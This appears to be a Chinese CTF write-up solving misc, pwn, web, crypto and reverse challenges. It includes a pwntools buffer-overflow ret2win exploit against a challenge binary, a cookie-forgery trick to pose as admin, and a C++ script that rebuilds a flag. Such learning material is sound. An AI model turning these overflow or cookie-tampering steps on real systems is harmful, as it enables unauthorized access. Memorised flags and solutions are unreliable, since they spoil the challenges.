misc
ezpic
在这个通道可以看到二维码
扫一下能看到前半flag
010里看到后半flag
简单编码
根据提示有,我们可以找到rot系列的rot13和rot47,尝试一下就有flag了
pwn
epwn
这回真是ezpwn了(
检查保护
IDA找到漏洞函数gets和偏移量以及后门函数
于是可以快乐的写exp了
from pwn import *context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()
这里被栈对齐绊了一下,一开始怎么弄都不对,后来忘了可能是64位没有栈对齐的缘故,用ROPgadget找了个ret就好了
web
签到题(忘了叫什么名字了)
比赛的时候没有及时截图,但是截了一张纪念我第一次做出来web的纪念图.
我的大体流程是先玩了一下游戏,然后弹窗提示我要去访问一个php文件,于是我就去访问了一下,那个页面大概是说要我是admin才可以
一开始我尝试在url里用?传参(?user=admin),但是不对,后来我就想着用bp看看,抓了一下包,发现响应包的cooki里有个user,联想到提示的admin,我就在输入包里加了个cooki:admin.相应包里就出来flag了
crypto
古典之美
给了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}
题目提示是:凯撒?好像又不是凯撒(大概是这样)
于是我就先拿凯撒变成xxxx{xxxxx}的形式(这个应该是巧合了,我不清楚cyberchef里的凯撒是凯撒盒子加密,一般来说的凯撒应该都是rot系列的)
然后又想到是不是可以rot一下看看,在不破坏{}的情况下,只有rot13系列可以,因为rot47会对所有可见字符在ASCII码上rot
于是得到flag
reverse
exchange
没壳,进入IDA看看先
这个程序就是去检验输入的v9对不对,只不过v9的检验顺序是和v7挂钩的,而不是顺序的检测,根据这个我们就可以写出来脚本了
#include <iostream>
#include <bits/stdc++.h>
using namespace std;int main()
{int v7[38];v7[0] = 0;v7[1] = 1;v7[2] = 2;v7[3] = 3;v7[4] = 4;v7[5] = 13;v7[6] = 28;v7[7] = 5;v7[8] = 20;v7[9] = 29;v7[10] = 7;v7[11] = 26;v7[12] = 34;v7[13] = 18;v7[14] = 14;v7[15] = 8;v7[16] = 35;v7[17] = 24;v7[18] = 19;v7[19] = 12;v7[20] = 23;v7[21] = 15;v7[22] = 10;v7[23] = 36;v7[24] = 31;v7[25] = 6;v7[26] = 27;v7[27] = 17;v7[28] = 25;v7[29] = 32;v7[30] = 22;v7[31] = 11;v7[32] = 30;v7[33] = 21;v7[34] = 33;v7[35] = 9;v7[36] = 16;v7[37] = 37;char v8[38];v8[0] = 'f';v8[1] = 'l';v8[2] = 'a';v8[3] = 'g';v8[4] = '{';v8[5] = '4';v8[6] = '7';v8[7] = 'e';v8[8] = 'b';v8[9] = 'f';v8[10] = '0';v8[11] = '0';v8[12] = '8';v8[13] = '9';v8[14] = '9';v8[15] = 'a';v8[16] = '3';v8[17] = '6';v8[18] = 'a';v8[19] = '9';v8[20] = '5';v8[21] = 'b';v8[22] = 'c';v8[23] = 'e';v8[24] = '0';v8[25] = '1';v8[26] = '5';v8[27] = '5';v8[28] = 'e';v8[29] = 'f';v8[30] = 'e';v8[31] = '3';v8[32] = '2';v8[33] = 'b';v8[34] = '8';v8[35] = 'd';v8[36] = 'a';v8[37] = '}';char str[40];for(int i=0;i<38;i++){str[v7[i]]=v8[i];}cout<<str;
}